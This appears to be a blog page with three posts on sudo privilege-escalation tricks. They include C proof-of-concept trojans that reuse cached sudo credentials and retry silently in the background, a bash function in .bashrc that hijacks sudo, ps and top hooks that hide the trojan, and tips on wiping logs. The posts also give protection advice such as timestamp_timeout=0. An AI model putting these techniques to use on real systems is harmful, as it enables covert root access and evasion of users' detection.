Security
[+] Hijack SUDO
Jonathan Fabrizio - 22/06/12
To finish a small serie on sudo
vulnerabilities, I show in this post that, with a simple trick, it is possible to hook sudo
by taking advantages of bash negligence. It is not really serious - I found this funny and I do not think that it can be a serious threat...
The context
Usually, the usage of sudo
can give privileges to a specific user. The user invokes sudo
and provides to sudo
the command he wants to execute with privileges. But imagine if you hook sudo
, the user believes he launch sudo
but instead, he invokes a special malicious command.
It is impossible : to change sudo
command, you must be root to change /usr/bin
. If you already have such privileges, you do not need to hook sudo
command any more.
The exploit
Well, you think I will change the PATH
. No, it is not inconspicuous. Simple invocation of which
command will reveal the attack. No I must find something better: I will do a simple trick, I will define a function :
function sudo() { /home/jo/tmp/.sudo/mysudo "$@" ;}
Further invocations of sudo
point now on mysudo! And surprisingly, under bash, invocation of which sudo
gives /usr/bin/sudo
and not our function. No where
command either. Our hijack is not visible for the user!
What now ? We simply have to code a clever sudo
...
Look at this simple code:
#include <unistd.h> #include <stdio.h> #include <stdlib.h> void you_are_root(void) { //you win ! FILE *f=fopen("/sudo_exploit.txt", "w"); if (f!=NULL) fclose(f); } int main(int argc, char *argv[]) { if (getuid()==0) { char *argv_n[argc+1]; int i; argv_n[0]="sudo"; you_are_root(); for (i=1;i<argc;i++) argv_n[i]=argv[i]; argv_n[i]=NULL; execvp("sudo", argv_n); exit(0); } else { char *argv_n[argc+2]; int i; argv_n[0]="sudo"; for (i=0;i&ls;argc;i++) argv_n[i+1]=argv[i]; argv_n[i+1]=NULL; execvp("sudo", argv_n); exit(0); } return 0; }
This program will recall itself with the true sudo
. sudo
will ask the password and the user enter its password (as he belives he launch his own command). sudo
validate the password and now mysudo
is called with sudo
privileges. mysudo
can do whatever it wants and after it invokes the inital instruction, expected by the user. mysudo
invoke this initial instruction with sudo
and the correct initial parameters... As mysudo
already has sudo
privileges, sudo
does not ask password again (even if timestamp_timeout=0
) and calls silently the expected instruction with correct privileges... The user do not see that before we ran malicious code!
Once you become root, you must clean the definition of the function (in .bashrc
for exemple) to avoid detection by the user and you must clean log file of sudo, because all action is stored... (even you can improve stupid call to exit(0)
and manage errors from execvp
- but here it is a simple POC).
Protection
Heu ? I don't know. The problem with bash is that even if we define a new function for sudo
, the command which sudo
always gives /usr/bin/sudo
and the user can not see in reality invocation of sudo
will not call sudo
. This is a negligence from bash
. Even, no function where
in bash
. The only think is that the declaration of the function is visible (in .bashrc
for exemple). Simply watch out your configuration files...
Conclusion
It is possible to define a function with same name of a system command. It is normal and practical. However the behaviour of the command which
in bash is not very safe and we have taken advantage of this behaviour to silently hook sudo
. I think, it is not a serious threat as the function definition is clearly visible (in .bashrc
for exemple) but which
command should be improved...
Viewed 5492 times
[+] SUDO vulnerability (2/2)
Jonathan Fabrizio - 27/02/12
In a previous post, I showed how a trojan horse can become root by the use of sudo
. According to it's configuration, sudo
may ask password only once and does not ask password again for a predefined period of time. Malicious software can became root silently.
To exploit this vulnerability, I wrote a program that invokes silently sudo
until sudo
does not ask password. To succeed, this program must be launched in the correct terminal before the correct user invokes sudo
(or right after). This means, the threat is rather low. I complete here the previous post with (too) simple tricks to increase chance to become root (simply to show that even the threat is low, it must not be neglected). To finish, I give simple advice to prevent you from being attacked by such program...
The context
Our initial trojan horse is efficient but it has low chance to succeed as it must be excuted in the same terminal than admin operation. As it is resident, it is also clearly seenable with simple commands like top
or ps
. It will be easily detected...
Installation
If a program want to exploit this vulnerability, it can not expect to be launched in the same terminal even if it stays resident and waits. To improve chance to become root, it would be better to start automaticly in each terminal. Then it could be efficient to detect default shell and modify default script like .bashrc to automaticly start at the beginning of every terminal. Once the user invokes sudo
, the programme becomes root. Even configuration scripts of the graphical user interface can be targeted. As soon as it becomes root, it can remove the entry in .bashrc (or other) to hide the presence of the trojan horse.
Stealth
As the trojan is now resident in every terminal, it has more chances to reach its goal. However, the threat remains poor: the user can detect the presence of the program execution esaily. If the trojan is resident and wait to become root, it can not hide itself correctly (as it is not root yet) - but it can try to.
The user can detect it's presence by the use of command like ps or top. The idea is that a user use more ps that it open shell initialisation files. Then it is possible to hide - only for the targetted user - the execution of the trojan horse. For that we will hook ps
or top
commands. Following lines are added in shell initialisation script (and adapted to the user shell):
function ps() { `which ps` "$@" | grep -v "trojan_name" ;}
This command hook the ps
command and now ps
command display all lines that do not contain the name of the trojan horse (the name of the trojan must be choosen cleverly). Obviosly if the user see these lines in initialization script, the trojan horse will be detected and then these lines must diseapear immediatly when the trojan reach root privileges. The same hook can also be done for top command...
function top() { `which top` "$@" | grep -v "trojan_name" ;}
These tricks are not very clever and there is surely much more powerfull things to do. This post is only a POC.
Protection
I hope, with these few lines, I convince that the threat is not as low as it seems. The best way to protect against this sudo
vulnerability is to tell sudo
to ask password every time. To do so, edit /etc/sudoers by using sudo visudo
and add the line:
Defaults timestamp_timeout=0
And the password will be asked every time. If you really want to perform multiple admin operations, you can invoke sudo -i
Conclusion
We have seen a simple way to use sudo
to become root. This threat is low as this implies the system (a user account) has already been corrupted but this threat must not be neglected especially as the solution to protect the system is very simple.
Viewed 4756 times
[+] SUDO vulnerability (1/2)
Jonathan Fabrizio - 08/01/12
Allowing sudo
to avoid asking password for executing admin operation disrupts me a bit. I think it is a vulnerability and I will try to prove it in this post. This is not a big threat as this implies the system has already be corrupted but this should not be neglected: I think a simple program can easily become root with this mechanism. Most of this post has been written after an old long discussion on french ubuntu forum but I hesitated long time to publish it.
The context
First of all we have is a major program that perform critical admin operations:
/*
admin_op.c
@author Jonathan Fabrizio
@date 06/01/12
*/
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void) {
if (getuid()==0)
printf("Ready to perform admin op\n");
else
printf("You must be root to perform this operation\n");
return 0;
}
The content of this program is not important. It is simply a common program that need root privilige to perform admin operations.
To execute this program (obviously after compilation) you need to enter:
sudo ./admin_op
The first time you enter this instruction, the system ask you your password. To this point, no trouble. But from now, if you call sudo
again, your password will not be asked again (as long as your terminal has the same id and for a predefined period of time). It is not bad as it can be annoying to enter password again and again - right. This behaviour depends on configuration but for example, by default on ubuntu if think the password is not asked again for 15 min.
Exploit
Imagine a program, installed on your computer that suddunly want to became root. The simple operation he has to do is to check if it can became root:
/*
trojan_horse_sudo_exploit.c
@author Jonathan Fabrizio
@date 06/01/12
@version 1.0
*/
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
void you_are_root(void) {
//you win !
//nobody know but your are root and you can prove it :
FILE *f=fopen("/sudo_exploit.txt", "w");
if (f!=NULL) fclose(f);
}
void try_to_become_root(void) {
pid_t pid;
if ( (pid=fork())==0 ) {
execlp("sudo", "sudo", "./trojan_horse_sudo_exploit", NULL, NULL);
exit(0);
} else if (pid>0) {
int status;
//do your normal job...
while (waitpid(pid, &status, WNOHANG)==0);
}
}
int main(int argc, char *argv[])
{
if (getuid()==0) {
you_are_root();
} else {
try_to_become_root();
}
return 0;
}
This is simple. If this program is call with root privilige, it will call you_are_root(). If not, it will try to re-execute itself by calling sudo. If the password has already been entered, it will be automatically executed with root privileges !
Is it really a threat? Not really: First this program must be invoked just after you call sudo. He has a very short period of time and second, if it is not in this period of time, the system will ask the password to the user and the trojan horse will be detected kickly!
Are we really safe? Is it possible to hide this trojan? Simply redirecting standard input and output will allow to hide to the user that sudo ask the password. Sudo immediatly terminate in error and the user do not see anything.
/*
trojan_horse_sudo_exploit.c
@author Jonathan Fabrizio
@date 06/01/12
@version 2.0
*/
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
void you_are_root(void) {
//you win !
//nobody know but your are root and you can prove it :
FILE *f=fopen("/sudo_exploit.txt", "w");
if (f!=NULL) fclose(f);
}
void try_to_become_root(void) {
pid_t pid;
if ( (pid=fork())==0 ) {
freopen("/dev/null", "w", stderr);
freopen("/dev/null", "r", stdin);
setsid();
execlp("sudo", "sudo", "./trojan_horse_sudo_exploit", NULL, NULL);
exit(0);
} else if (pid>0) {
int status;
//do your normal job...
sleep(10);
while (waitpid(pid, &status, WNOHANG)==0);
}
}
int main(int argc, char *argv[])
{
if (getuid()==0) {
you_are_root();
} else {
try_to_become_root();
}
return 0;
}
It remains a simple problem now: This can only work just after sudo has been invoked. Ok the solution is to stay resident and wait...
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
void you_are_root(void) {
//you win !
//nobody know but your are root and you can prove it :
FILE *f=fopen("/sudo_exploit.txt", "w");
if (f!=NULL) fclose(f);
}
void try_to_become_root(void) {
pid_t pid;
int success=0;
if ( (pid=fork())==0 ) {
freopen("/dev/null", "w", stderr);
freopen("/dev/null", "r", stdin);
setsid();
do {
pid_t pid_exploit;
if ( (pid_exploit=fork())==0 ) {
execlp("sudo", "sudo", "./trojan_horse_sudo_exploit", "1", NULL);
exit(0);
} else if (pid_exploit>0) {
int status;
FILE *f;
while (waitpid(pid_exploit, &status, WNOHANG)==0);
f=fopen("/sudo_exploit.txt", "r");
if (f!=NULL) {
success=1;
fclose(f);
} else {
sleep(3*60);
}
}
} while (!success);
}
}
int main(int argc, char *argv[])
{
if (getuid()==0) {
you_are_root();
} else if (argc==1) {
try_to_become_root();
}
return 0;
}
The program stays resident, waits and tries frequently to become root (every 3 minutes). It stops as soon as it succeeded. This means if you start the program that contains the trojan horse and you invoke sudo after in the same terminal, the trojan horse will become root. In the same terminal? Not really. If you invoke sudo
and close your terminal. A newly opened terminal will may be affected by the id of the previously closed terminal and invocation of sudo
wont ask you a password as if you were in the same terminal. Worst if it is graphical application, invoking a program that require root privilege by the graphical user interface may offer root privillege to any other application invoked by the graphical user interface...
Conclusion
We have seen it is possible to stealthy became root by the usage of sudo. The danger is rather poor as the trojan horse that use this vulnerability should be launched in the same terminal which is used for admin operation. However the trojan can became root even if sudo
is invoked much later.
In a next post, I will show how it is possible to increase to chance to became root with this vulnerability. To conclude - and it is the most important - I will show how to protect our system against this vulnerability.
Viewed 3706 times